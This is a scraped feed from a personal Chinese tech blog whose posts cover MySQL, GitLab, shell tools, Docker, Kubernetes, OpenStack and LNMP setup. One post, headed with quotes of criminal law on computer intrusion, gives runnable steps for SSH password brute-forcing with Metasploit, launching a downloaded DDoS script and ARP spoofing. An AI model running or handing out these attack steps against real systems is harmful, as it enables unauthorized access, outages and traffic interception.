1
2
use user;
delete from user;
  • 删除use数据库的user表
查看表列表
1
2
use $db_name;
show tables;

约束

更多

not null
primary key
unique
foreifn key
check
自增长

SQL数据类型

更多

懒的弄了、直接用老韩的
img
img

CRUD

更多

Insert

Update

Delete

Select

单表

多表

函数

更多

统计

时间日期

字符串

数学

流程控制

索引

更多

主键索引

唯一索引

普通索引

全文索引

]]> <h1 id="数据库"><a href="#数据库" class="headerlink" title="数据库"></a>数据库</h1><details class="toggle" ><summary class="toggle-button" style="">更多</ Kali入门到入狱 https://www.linlink.xyz/posts/902f9748.html 2022-12-10T07:00:34.000Z 2023-02-03T14:08:36.842Z 中华人民共和国刑法
1
2
3
4
5
6
7
8
9
10
11
12
13
 根据我国《刑法》的规定，非法侵入计算机信息系统罪的客体要件是国家重要领域和要害部门的计算机
 信息系统安全;客观要件是行为人实施了违反国家规定侵入国家重要计算机信息系统的行为;主体要件是
 一般主体。主观方面表现为故意。
《中华人民共和国刑法》
第二百八十五条　【非法侵入计算机信息系统罪】违反国家规定，侵入国家事务、国防建设、尖端科学技
术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。
【非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定，侵入前款规定以外的计算
机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算
机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金;情节特别严重
的，处三年以上七年以下有期徒刑，并处罚金。
【提供侵入、非法控制计算机信息系统程序、工具罪】提供专门用于侵入、非法控制计算机信息系统的程
序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情
节严重的，依照前款的规定处罚。

前提

1
2
3
4
5
6
7
* 遵守中华人民共和国刑法
* 请遵守中华人民共和国刑法
* 请一定遵守中华人民共和国刑法
* 了解kali基本知识
* 知道字典什么意思
* 知道ssh是什么意思
* 一些网络基本知识

用Kali实现ssh爆破

方法

进入msfconsole程序

1
msfconsole

选择ssh_login模块

1
use auxiliary/scanner/ssh/ssh_login

导入攻击目标IP地址

1
set RHOSTS $IP

导入用户字典(绝对路径)

1
set USER_FILE /root/user.txt

导入密码字典(绝对路径)

1
set PASS_FILE /root/passwd.txt

指定ssh登录端口

1
set RPORT $port

运行

1
run

假如成功爆破，那么结果(例如)就是

1
2
3
[*] 192.168.20.100:22 - Starting bruteforce
[+] 192.168.20.100:22 - Success: 'root:admin' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux zhangyulin 3.10.0-862.el7.x86_64 #1 SMP Fri Apr 20 16:44:24 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (192.168.20.90:43727 -> 192.168.20.100:22) at 2022-12-10 15:48:40 +0800
  • 账号：root
  • 密码：admin

少年好自为之

ddos

方法

下载包

1
git clone https://github.com/Ha3MrX/DDos-Attack
1
cd DDos-Attack

添加执行权限

1
chmod +x ddos-attack.py

启动

1
python ddos-attack.py

arp欺骗

方法
1
2
* 知道网关地址和被攻击的IP地址
* 同一局域网内
1
arpspoof -i eth0 -t <pc-ip> <gateway-ip>
]]> <h1 id="中华人民共和国刑法"><a href="#中华人民共和国刑法" class="headerlink" title="中华人民共和国刑法"></a>中华人民共和国刑法</h1><figure class="highlight plaintext"><table><t Linux-Centos7--搭建Gitlab私有仓库 https://www.linlink.xyz/posts/44facaf0.html 2022-11-23T07:00:35.000Z 2022-12-28T03:12:46.736Z 官方链接

环境初始化

安装一些网络需要的插件

1
yum install -y curl policycoreutils-python openssh-server perl

确认ssh服务开启

1
systemctl enable sshd && systemctl start sshd && systemctl status sshd

打开http和https访问

1
firewall-cmd --permanent --add-service=http && firewall-cmd --permanent --add-service=https

重新读取防火墙规则？应该吧

1
systemctl reload firewalld

安装Postfix以发送电子邮件通知(可选)

1
yum install postfix

启动Postfix服务

1
systemctl enable postfix && systemctl start postfix

下载

1
curl -fsSL https://packages.gitlab.cn/repository/raw/scripts/setup.sh | /bin/bash

安装,EXTERNAL_URL=主机IP,比如EXTERNAL_URL=http://192.168.16.1

1
sudo EXTERNAL_URL="https://gitlab.example.com" yum install -y gitlab-jh

查看root密码,浏览器访问登录需要

1
cat /etc/gitlab/initial_root_password

浏览器访问

  • 账号：root
  • 密码：***********************(上面获取的)
]]> <h1 id="官方链接"><a href="#官方链接" class="headerlink" title="官方链接"></a>官方链接</h1><ul> <li><a href="https://gitlab.cn/install/">https://gitlab.cn/i Shell入门到放弃 https://www.linlink.xyz/posts/9f5e26a4.html 2022-11-06T07:00:34.000Z 2023-01-05T12:21:45.790Z 正则表达式
  • Linux文件中每行都有一个$结尾，空行也有，一般看不见这个$

基本-BRE

符号释义
^尖角号，用于模式的最左侧，如“^oldboy”，匹配以oldboy单词开头的行
$美元符，用于模式的最右侧，如”oldboy$”，表示以oldboy单词结尾的行
^$组合符，表示空行
.匹配任意一个且只有一个字符，不能匹配空行
\转义字符，让特殊含义的字符，现出原形，还原本意，例如\.代表小数点
*匹配前一个字符（连续出现)0次或1次以上，重复0次代表空，即匹配所有内容
.*组合符，匹配所有内容
^.*组合符，匹配任意多个字符开头的内容
.*$组合符，匹配以任意多个字符结尾的内容
[abc]匹配集合内的任意一个字符，a或b或c，可以写[a-c]
[^abc]匹配除了^后面的任意字符，a或b或c，^表示对[abc]的取反

扩展-ERE

符号释义
+匹配前一个宁符1次或多次
[:/]+匹配括号内的”∵:”或者”/“字符1次或多次
?匹配前一个字符0次或1次
|表示或者,同时过滤大哥字符串
()分组过滤，被括起来的内容表示一个整体
a{n,m}匹配前一个字符最少n次，最多m次
a{n,}匹配前一个字符最少n次
a{n}匹配前一个字符正好n次
a{,m}匹配前一个字符最多m次

grep-对文本内容进行过滤，筛选

参数释义
-v排除匹配结果
-n显示匹配行与行号
-i不区分大小写
-c只统计匹配的行数
-E使用egrep命令(加这个参数可以使用扩展ERE)
–color=auto为grep过滤结果添加颜色
-w只匹配过滤的单词
-o只输出匹配的内容

grep语法

1
grep $参数 $匹配模式 $file

sed-对文件或是数据流进行加工处理

  • 注意sed和awk使用单引号，双引号有特殊解释
  • sed是Stream Editor(字符流编辑器)的缩写，简称流编辑器。
  • sed是操作、过滤和转换文本内容的强大工具。

sed参数

参数解释
-n取消默认sed的输出，常与sed内置命令p一起用
-i直接将修改结果写入文件,不用-i, sed修改的是内存数据
-e多次编辑,不需要管道符了
-r支持正则扩展

sed内置命令字符

sed的内置命令字符解释
aappend，对文本追加，在指定行后面添加一行/多行文本
dDelete，删除匹配行
iinsert，表示插入文本，在指定行前添加一行/多行文本
pPrint ,打印匹配行的内容，通常p与-n一起用
s/正则/替换内容/g匹配正则内容，然后替换内容(支持正则)，结尾g代表全局匹配

sed语法

1
grep $参数 $内置命令字符 $file

sed增删改查操作

1
2
3
4
5
6
7
[root@localhost ~]# cat aaa.txt
My screen name is linlink
My hobby is sleeping
I love Linux
Learn kubernetes
I'm not a networker
My qq is 1234568789

查

输出文件第二到三行

1
2
3
4
5
6
7
8
9
[root@localhost ~]# sed '2,3p' aaa.txt
My screen name is linlink
My hobby is sleeping
My hobby is sleeping
I love Linux
I love Linux
Learn kubernetes
I'm not a networker
My qq is 1234568789
1
2
3
[root@localhost ~]# sed '2,3p' aaa.txt -n
My hobby is sleeping
I love Linux

输出文件第二及下面三行

1
2
3
4
5
[root@localhost ~]# sed '2,+3p' aaa.txt -n
My hobby is sleeping
I love Linux
Learn kubernetes
I'm not a networker
1
2
3
4
5
6
7
8
9
10
11
[root@localhost ~]# sed '2,+3p' aaa.txt
My screen name is linlink
My hobby is sleeping
My hobby is sleeping
I love Linux
I love Linux
Learn kubernetes
Learn kubernetes
I'm not a networker
I'm not a networker
My qq is 1234568789

匹配qq所在的行并打印

1
2
[root@localhost ~]# sed '/qq/p' aaa.txt -n #-n去掉其它行
My qq is 1234568789
1
2
3
4
5
6
7
8
[root@localhost ~]# sed '/qq/p' aaa.txt
My screen name is linlink
My hobby is sleeping
I love Linux
Learn kubernetes
I'm not a networker
My qq is 1234568789
My qq is 1234568789

增

第二行下面增加一行数据

1
sed -i "2a ************" aaa.txt         #-i增加到文件里

第二行上面增加一行数据

1
sed -i "2i ************" aaa.txt         #-i增加到文件里

a空模式匹配

1
sed -i "a -------------" aaa.txt         #-i增加到文件里

改

My全部改为I

1
sed -i 's/My/I/g' aaa.txt              #修改文件里的数据
1
sed 's/My/I/g' aaa.txt              #修改内存里的数据

多次编辑规则

1
sed -e 's/My/I/g' -e 's/qq/wx/g' aaa.txt

删

匹配qq所在的一行并删除

1
sed '/qq/d' aaa.txt -i                #删除文件里的数据
1
2
3
4
5
6
[root@localhost ~]# sed '/qq/d' aaa.txt   #删除的是内存的数据
My screen name is linlink
My hobby is sleeping
I love Linux
Learn kubernetes
I'm not a networker

匹配第3行到最后一行并删除

1
sed "3,/&/d" aaa.txt  -i                  #删除文件里的数据
1
sed "3,/&/d" aaa.txt                       #删除的是内存的数据

删除第二行到第三行

1
sed "2,3d" aaa.txt  -i                  #删除文件里的数据
1
sed "2,3d" aaa.txt                       #删除的是内存的数据

awk

参数解释
-F指定分割字段符
-v定义或修改一个awk内部的变量
-f从脚本文件中读取awk命令
内置变量解释
FS输入字段分隔符，默认为空白字符
oFS输出字段分隔符，默认为空白字符
RS输入记录分隔符(输入换行符)，指定输入时的换行符
ORS输出记录分隔符(输出换行符)，输出时用指定符号代替换行符
NFNF: number of Field，当前行的字段的个数(即当前行被分割成了几列)，字段数量
NRNR:行号，当前处理的文本行的行号。
FNRFNR:各文件分别计数的行号
FILENAMEFILENAME:当前文件名
ARGCARGC:命令行参数的个数
ARGVARGV:数组，保存的是命令行所给定的各参数

真寄霸多、学尼玛、放弃了

]]> <h1 id="正则表达式"><a href="#正则表达式" class="headerlink" title="正则表达式"></a>正则表达式</h1><ul> <li>Linux文件中每行都有一个$结尾，空行也有，一般看不见这个$</li> </ul> <h2 id="基 Docker基础入门到放弃 https://www.linlink.xyz/posts/c74ba58d.html 2022-10-08T07:00:34.000Z 2023-06-16T12:13:14.468Z 操作环境
  • Linux内核3.10
  • CentOS~7.9发行版

安装及配置

点击查看

安装需要的软件包

1
sudo yum install -y yum-utils

设置国内镜像仓库

1
sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

更新yum软件包索引

1
yum makecache fast

安装docker-ce

1
sudo yum install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin

启动docker+开机自启动

1
systemctl start docker && systemctl enable docker

配置docker镜像加速

1
2
3
4
5
6
7
8
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": ["https://jy4tq1fv.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

检查docker是否安装好

1
docker info

测试一下hello-world

1
docker pull hello-world     # 可以不需要这一步直接下一步，但是初学者建议多敲敲多熟悉熟悉代码
1
docker run hello-world

相关知识

点击查看

虚悬镜像：既没有仓库名，也没有TAG的镜像(:)

查询：

1
docker images -f dangling=true
1
2
3
4
5
产生的原因：
1、docker build命令未使用-t参数指定仓库名
2、docker pull最新版本的某仓库镜像，则原来的最新版镜像会重命名为<none>:<none>
3、强制删除被运行中的容器占用的镜像
4、docker save命令导出时，使用的是镜像ID，再次导入镜像会变成虚悬镜像

镜像管理

点击查看

增加镜像方法

通过仓库获取镜像

1
docker pull $image_name
1
docker pull $image_name:$version type

通过别人打包的镜像导入

  • 导出
    1
    docker image save $image_name -o 目录/镜像名.tgz        #-o === >
  • 导入
    1
    docker image load -i 目录/镜像名字.tgz                  #-i === <

通过容器构建镜像

1
docker commit $container_id $image_name

通过Dockerfile构建镜像

Dockerfile参数

参数解释
FROM基于什么系统发行版
MAINTAINER作者信息
RUN运行Linux命令
ADD添加文件到容器
COPY复制文件到容器
WORKDIR指定工作目录
VOLUME容器数据挂载
EXPOSE指定容器对外开放的端口
CMDcmd指令
ENTRYPOINT替换cmd,cmd给它传递参数
ENV给容器设置环境变量(构建镜像，及容器运行都可以使用)
ARG给容器设置环境变量(仅构建镜像使用)
USER用于改变环境，用于切换用户

创建Dockerfile

1
touch Dockerfile

编辑Dockerfile

1
vi Dockerfile

构建镜像

1
docker build .

构建镜像并自定义镜像名

1
docker build -t '镜像名' .

删除指定镜像

1
docker rmi $image_name/id

强行删除指定镜像

1
docker rmi -f $image_name/id

删除全部镜像(危险)—需要没有运行中的容器

1
docker rmi `docker images -aq`

改镜像名字

1
docker tag $image_id $new_name

查看

查看仓库镜像列表

1
docker search $image_name

查看本地镜像列表

1
docker iimages

查看镜像id

1
docker images

自定义查看镜像id和name,其它格式照推

1
docker images --format "table {{.ID}}\t{{.Repository}}\t"

查看镜像详细信息

1
docker image inspcet $image_id
1
docker image inspcet afb

查询镜像的构建历史或分层

1
docker history $image_id

容器管理

点击查看

参数

参数解释
-d在容器内运行不占用当前终端
–rm中止进程后自动删除容器
–name $image_name自定义容器名字
-it开启交互式,进入容器内
-v数据挂载
-p 主机端口:容器端口端口映射
-P随机端口映射
–restart=always监听容器，挂了重启,不和–rm一起用

运行容器

1
docker run 参数 $image_name CMD

进入容器

1
docker run -it $container_id bash
1
docker exec -it $container_id bash

退出容器

1
exit

重启容器

1
docker restart $container_id

删除容器

删除指定容器

1
docker rm $container_id

强行删除指定容器

1
docker rm -f $container_id

删除全部容器(危险)

1
docker rm -f `docker ps -aq`

查看

查看活着的容器id

1
docker ps

查看活着和挂了的容器id

1
docker container ls -a
1
docker container ls -a

查看容器日志

1
docker logs $container_id

查看容器日志(实时更新)

1
docker logs -f $container_id

查看容器的详细信息

1
docker container inspect $container_id

查看容器内资源情况命令

1
docker inspect $container_id

查看容器内进程命令

1
docker top $container_id

查看容器的所有信息

1
docker inspect $container_id

查看容器端口转发情况

1
docker port $container_id

查看容器内ip

1
docker inspect --format '{{.NetworkSettings.IPAddress}}' $container_id

网络管理

点击查看

安装brctl工具

1
yum -y install bridge-utils

自定义docker容器网络

运行一个没有网卡的容器(保留当前窗口)

1
docker run -it --network none centos bash

获取容器ID(新打开ssh窗口)

1
2
docker inspect -f {{.State.Pid}} $container_ID
pid

创建netns

1
2
mkdir /var/run/netns
ln -s /proc/$pid/ns/net /var/run/netns/$pid

创建VETH接口对

1
ip link add A type veth peer name B

将A端添加到容器并改名

1
2
3
4
5
添加到容器：ip link set A netns $pid
修改网卡名：ip netns exec $pid ip link set dev A name eth0
启动网卡：ip netns exec $pid ip link set dev eth0 up
添加网卡IP地址：ip netns exec $pid ip addr add 172.17.0.16/16 dev eth0
配置网关：ip netns exec $pid ip route add default via 172.17.0.1

将B端添加到docker0

1
2
添加：brctl addif docker0 B
启动网卡B：ip link set B up

自定义网桥

创建

1
docker network create [OPTIONS] NETWORK

容器加入网桥

1
docker network connect <bridge> container

容器断开网桥

1
docker network disconnect <bridge> container

查看本地网络列表

1
docker network ls

删除自定义网桥

1
docker network rm <bridge>

docker run命令的网络配置参数

设置容器的网络链接

1
2
示例1：docker run --net bridge/host/container:container_id/none image_name
示例2：docker run --network bridge/host/container:container_id/none image_name

设置容器的IP地址

1
2
3
4
例子1：docker run -it --rm --network mynet --ip x.x.x.x image bash
例子2：docker network connect --ip 172.50.100.22 network_name container
注意：该方法只适用于用户自定义网络，并且需要人为指定自定义网络的子网信息，即
docker network create --subnet x.x.x.x/x [--gateway *.*.*.*] network_name

设置网络接口MAC地址,DNS,主机名

1
2
3
4
5
6
例子：docker run -it --rm --mac-address 32:56:ac:ef:22:33 centos bash
设置容器的DNS
--dns：设置容器的DNS服务器的IP地址，可以设置多个
--dns-search：设置容器的DNS搜索域
设置主机名
--hostname：为容器指定自定义的主机名

容器之间的网络通信

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
* 容器都连接到同一个网络（参见前面《自定义桥接网络》）
* 多个容器使用host模式
* 容器间使用挂载主机目录
* 容器通过端口映射
* 链接
命令
docker run --link container[:alias]
过程
* 关闭docker服务中的容器互通配置
vi /usr/lib/systemd/system/docker.service
在ExecStart后面添加--icc=false参数
docker daemon-reload
systemctl restart docker
* 启动一个普通容器(使用training/posetgres镜像)
docker run -d --name db training/posetgres
* 使用webapp镜像启动一个连接到db容器的名为web容器
docker run -d --name web --link db:yun1 training/webapp
* 测试
在web容器中安装测试工具
apt-get -y install telnet
telnet db容器的端口
telnet db 5432
* 对立测试
查看db容器的ip地址
使用centos:telnet镜像启动一个容器
在容器中使用telnet命令测试
telnet db_ip 5432

修改docker服务配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
* 修改docker0网桥的默认网段
vi /usr/lib/systemd/system/docker.service
在“ExecStart=”后面添加“--bip 172.56.0.1/16”
* 修改默认网桥
添加网桥(brctl命令需要使用yum -y install bridge-utils命令安装)
brctl addbr br0
ip addr add x.x.x.x/x dev br0
ip link set br0 up
修改docker服务文件
vi /usr/lib/systemd/system/docker.servic
在“ExecStart=”后面添加“--bridge br0”
注意：
-b,--bridge和--bip不可同时存在，只能存在一个
* 添加远程管理docker服务
vi /usr/lib/systemd/system/docker.servic
在“ExecStart=”后面添加“-H tcp://0.0.0.0:2375”
注意：
如果要本地和远程都可以访问，需要保留原有的-H fd://
* 以上操作需要重新加载服务配置并重新启动docker服务
systemctl daemon-reload
systemctl restart docker

存储管理

点击查看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
1、联合文件系统
* Union file system
将其他文件系统合并到一个联合挂载点的文件系统
* docker支持的联合文件系统
AUFS、overlayFS、Btrfs、BFS、devicemapper
aufs、overlay、overlay2、btrfs、zfs、devicemapper、vfs
* docker ce支持的Linux发行版的存储驱动
Ubuntu：overlay2、aufs
Debian：overlay2、aufs、devicemapper
CentOS：overlay2
Fedora：overlay2
* 使用overlay2存储驱动的要求
docker版本要求
Docker EE：17.06.02-ee5及以上版本
Docker CE：都支持
Linux内核版本
4.0或更高
RHEL或CentOS：3.10.0-514及更高版本
底层文件系统的要求
ext4
xfs：限于启动d_type的情形
2、docker数据卷
* 卷
默认位置：/var/lib/docker/volume
* 卷分类
命名卷
匿名卷
* 卷的优势
比绑定挂载更容易备份和迁移
可以通过docker命令行或API进行管理
可以在Linux容器和Windows容器中工作
多个容器间共享文件时更安全
支持远程主机或云端存储卷
新卷的内容可以由容器预填充
3、数据卷的使用
* 匿名卷
匿名卷：即不为卷起名字
docker run -v参数
docker run -v [host_src:]container-dest[:<options>]
说明：
host_src：是主机上的文件，可以是文件也可以是目录，匿名卷省略该选项
container-dest：是容器中的挂载点
options：一般使用的是ro和rw，rw是默认的
使用匿名卷，默认存储的位置为/var/lib/docker/volume/${随机码}/_data
随机码如何查看：
docker inspect -f {{.Mounts}} ${容器名|容器ID} |awk '{print $2}'
完整路径查看：
docker inspect -f {{.Mounts}} ${容器名|容器ID}|awk '{print $3}'
dockerfile中的VOLUME指令
语法：
VOLUME ["/data"]
VOLUME mouter1 mounter2...
注意：
dockerfile方式只能挂载匿名卷，默认存储的位置为/var/lib/docker/volume/${随机码}/_data
随机码如何查看：
docker inspect -f {{.Mounts}} ${容器名|容器ID} |awk '{print $2}'
完整路径查看：
docker inspect -f {{.Mounts}} ${容器名|容器ID}|awk '{print $3}'
docker volume create
使用该命令不指定数据卷名也是匿名卷
 * 命名卷
 # 有名字的数据卷
 # 创建：
 docker volume create [OPTIONS] [VOLUME]
 参数：
 -d, --driver string：指定驱动类型，默认为local
 # 查看本地卷列表
 docker volume ls
 # 存储位置
 /var/lib/docker/volumes/${volume_name}/_data/
 # 使用
 docker run -v ${volume_name}:mounter[:options] image
 * 删除数据卷
 命名卷
 docker volume rm [OPTIONS] VOLUME [VOLUME...]
 匿名卷
 只能删除容器
 所有卷(所有未被使用的卷)
 docker volume prune

卸载

点击查看

命令真TM多，不学了，卸载了

1
systemctl stop docker
1
yum -y remove docker-ce docker-ce-cli containerd.io docker-compose-plugin
1
rm -rf /var/lib/docker
1
2
3
4
5
6
7
8
sudo yum remove docker \
                  docker-client \
                  docker-client-latest \
                  docker-common \
                  docker-latest \
                  docker-latest-logrotate \
                  docker-logrotate \
                  docker-engine
]]> <h1 id="操作环境"><a href="#操作环境" class="headerlink" title="操作环境"></a>操作环境</h1><ul> <li>Linux内核3.10</li> <li>CentOS~7.9发行版</li> </ul> <h1 id="安装 Kubernetes(k8s)搭建 https://www.linlink.xyz/posts/ad8c5d4b.html 2022-10-02T07:00:34.000Z 2022-12-22T09:35:53.624Z 写的很乱、建议前往文档

搭建环境

  • VMware虚拟机平台
  • Linux内核3.10
  • CentOS~7.9发行版
  • 最小安装版
  • 主节点一个，工作节点两个及以上(至少三台虚拟机)
  • k8s,因为k到s中间有8个字母

搭建需要

主节点需要组件

  • docker
  • kubectl - 集群命令行交互工具
  • kubeadm - 集群初始化工具

工作节点需要组件

  • docker
  • kubelet - 管理 Pod 和容器，确保他们健康稳定运行
  • kube-proxy - 网络代理，负责网络相关的工作

所有节点配置

修改hosts

1
vi /etc/hosts
1
2
3
4
主节点ip master
工作节点1ip work1
工作节点2ip work2
工作节点3ip work3

关闭selinux

1
sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/sysconfig/selinux

添加k8s安装源

1
2
3
4
5
6
7
8
9
10
cat <<EOF > kubernetes.repo
[kubernetes]
name=Kubernetes
baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=0
repo_gpgcheck=0
gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
EOF
mv kubernetes.repo /etc/yum.repos.d/

添加Docker安装源

1
sudo yum install -y yum-utils
1
sudo yum-config-manager     --add-repo     http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

安装所需组件

1
yum install -y kubelet-1.22.4 kubectl-1.22.4 kubeadm-1.22.4 docker-ce

启动 kubelet、docker，并设置开机启动

1
2
3
4
systemctl enable kubelet
systemctl start kubelet
systemctl enable docker
systemctl start docker

修改 docker 配置

1
2
3
4
5
6
7
8
9
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "exec-opts": ["native.cgroupdriver=systemd"],
  "registry-mirrors": ["你自己的加速地址"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

主节点配置

修改主机名

1
hostnamectl set-hostname master

用kubeadm初始化集群

1
kubeadm init --image-repository=registry.aliyuncs.com/google_containers
  • 记得把 kubeadm join xxx 保存起来
  • 忘记了重新获取：kubeadm token create –print-join-command

安装网络插件

1
kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

等待STATUS全变为Ready

1
2
3
4
5
6
[root@master ~]# kubectl get nodes
NAME     STATUS   ROLES                  AGE     VERSION
master   Ready    control-plane,master   2d23h   v1.22.4
work1    Ready    <none>                 2d23h   v1.22.4
work2    Ready    <none>                 2d23h   v1.22.4
work3    Ready    <none>                 2d23h   v1.22.4

ping work1 确保内网连通性

1
2
3
4
5
6
[root@master ~]# ping work1
PING work1 (192.168.144.167) 56(84) bytes of data.
64 bytes from work1 (192.168.144.167): icmp_seq=1 ttl=64 time=0.568 ms
64 bytes from work1 (192.168.144.167): icmp_seq=2 ttl=64 time=0.341 ms
64 bytes from work1 (192.168.144.167): icmp_seq=3 ttl=64 time=0.338 ms
64 bytes from work1 (192.168.144.167): icmp_seq=4 ttl=64 time=0.273 ms

工作节点配置

修改主机名,有几个工作节点就配置几个

1
hostnamectl set-hostname work1
1
hostnamectl set-hostname work2
1
hostnamectl set-hostname work3

把工作节点加入集群

1
kubeadm join ip:6443 --token xxx --discovery-token-ca-cert-hash xxx

ping master 确保内网连通性

1
2
3
4
5
6
[root@work1 ~]# ping master
PING master (192.168.144.166) 56(84) bytes of data.
64 bytes from master (192.168.144.166): icmp_seq=1 ttl=64 time=0.223 ms
64 bytes from master (192.168.144.166): icmp_seq=2 ttl=64 time=0.336 ms
64 bytes from master (192.168.144.166): icmp_seq=3 ttl=64 time=0.258 ms
64 bytes from master (192.168.144.166): icmp_seq=4 ttl=64 time=0.234 ms
]]> <h1 id="写的很乱、建议前往文档"><a href="#写的很乱、建议前往文档" class="headerlink" title="写的很乱、建议前往文档"></a>写的很乱、建议前往文档</h1><ul> <li><a href="https://www.kkklll. OpenStack命令小全 https://www.linlink.xyz/posts/b03a1ef.html 2022-10-01T07:00:35.000Z 2022-12-28T02:43:08.015Z Project、User、Role管理

Project

查询

项目列表查询

1
2
3
4
5
6
7
[root@controller ~]# openstack project list
+----------------------------------+---------+
| ID                               | Name    |
+----------------------------------+---------+
| 18d38184ac324b7c8c849171d087e409 | admin   |
| 74ded9a243c34cbf9516103178a048fd | project |
+----------------------------------+---------+

项目详情查询

1
openstack project show $admin/project

查询某项目下的所有用户

1
openstack user list --project=$admin/project

编辑

创建项目

1
openstack project create --domain $域 --description "对创建项目的描述" 项目名

比如创建一个属于default域的project项目

1
openstack project create --domain default  project

更新项目名称

1
openstack project set $project-ID/name --name $new-ProjectName

比如admin换admins

1
openstack project set admin --name admins

删除项目

1
openstack project delete $project-name/id

User

查询

User列表查询

1
openstack user list

查询User详情

1
openstack user show $User-name/id

查询某User与project、Role的关系

1
openstack role assignment list --user=$username

编辑

创建User

1
openstack user create --domain $域 --password $password $username

删除User

1
openstack user delete $user-name/id

更新User名

1
openstack user set $user-name/id --name $new-name

启用User

1
openstack user set $user-name/id --enable

禁用User

1
openstack user set $user_name/id --disable

Role

查询

Role列表查询

1
openstack role list

Role详情查询

1
openstack role show $user-name/id

编辑

创建Role

1
openstack role create $role-name

将project和User加入到Role中

1
openstack role add --project $project-name --user $user-name $role-name

将role移除project和User

1
openstack role remove --user $user-name --project $project-name $role-name

Authentication service命令

查询

domain查询

1
openstack domain list

service查询

1
openstack service list

endpoint查询

1
openstack endpoint list

编辑

创建domain

1
openstack domain create --description "对创建域的描述" $domain-name

创建service

1
openstack service create --name $service-name --description "对服务的描述" $type

创建api端点

1
openstack endpoint create --region RegionOne $service-type 连接对象 http://ip地址：端口号

Image服务命令

查询

镜像服务列表查询

1
openstack image list

查看某个具体的镜像

1
openstack image show $image_name

查看安全组

1
openstack group list

制作镜像

1
openstack image create --file cirros-0.5.1-x86_64-disk.img --disk-format qcow2 --container-format bare --public cirros

增加安全组

1
openstack group create $group_name --description "描述"

Compute服务命令

查询

查询nova服务的命令[查看所有nova主机up状态的]

1
openstack compute service list

查询nova组件的更新检查

1
nova-status upgrade check

Network服务命令

查询类

查询网络信息

1
openstack network list

查看端口信息

1
openstack port list

Storage命令

查询

查看块存储服务组件信息

1
cinder service-list

虚拟机管理命令

查询类

查看opens tack环境主机列表

1
openstack host list

查看某台主机资源情况

1
openstack host show $host-name

查看虚拟机列表

1
openstack server list

查看虚拟机详情

1
openstack server show $虚机名

编辑类

创建虚拟机

1
openstack network list
1
openstack flavor list
1
openstack image list
1
openstack security group list
1
openstack server create --image $镜像名 --flavor flavor规格名 –security-groups $安全组名 --nic net-id=网络ID 虚机名

虚拟机暂停

1
openstack server pause $虚机名

虚拟机启动

1
openstack server unpause $虚机名

虚拟机重启

1
openstack server reboot $虚机名

虚拟机删除

1
openstack server delete $虚机名
]]> <h1 id="Project、User、Role管理"><a href="#Project、User、Role管理" class="headerlink" title="Project、User、Role管理"></a>Project、User、Role管理</h1><h2 i Linux搭建LNMP环境 https://www.linlink.xyz/posts/df55e034.html 2022-09-20T07:00:35.000Z 2022-12-28T02:42:25.861Z 安装环境
  • CentOS 7 Linux系统安装nginx，php，mysql简写为LNMP

磨刀不误砍柴功,准备工作做好

关闭selinux

1
vi /etc/sysconfig/selinux

修改成SELinux=disabled，需要重启系统生效

检查网络连通性，保证设备能访问外网

1
2
3
4
5
6
7
8
9
10
[root@localhost ~]# ping baidu.com
PING baidu.com (110.242.68.66) 56(84) bytes of data.
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=1 ttl=128 time=44.8 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=2 ttl=128 time=63.2 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=3 ttl=128 time=44.8 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=4 ttl=128 time=44.5 ms
^C
--- baidu.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 44.513/49.378/63.281/8.032 ms

关闭防火墙

1
systemctl stop firewalld.service & systemctl disable firewalld.service

如果遇到这样的报错Failed to start firewalld.service: Unit not found.解决办法如下(依次执行)

1
2
3
4
5
6
yum install firewalld
systemctl unmask firewalld
systemctl enable firewalld
systemctl start firewalld
systemctl stop firewalld.service
systemctl disable firewalld.service

配置阿里云yum源

安装wget

1
yum -y install wget

备份原来的yum源

1
cd /etc/yum.repos.d/
1
mkdir bak
1
mv *.repo bak

配置阿里云yum源

1
wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
1
wget -O /etc/yum.repos.d/epel.repo https://mirrors.aliyun.com/repo/epel-7.repo

清里yum缓存(重要)

1
yum clean all && yum makecache

方法一：编译安装nginx(更适合专业人员)

安装c++编译环境

1
yum -y install gcc-c++

安装openssl,pcre,zlib,vim,httpd-tools

1
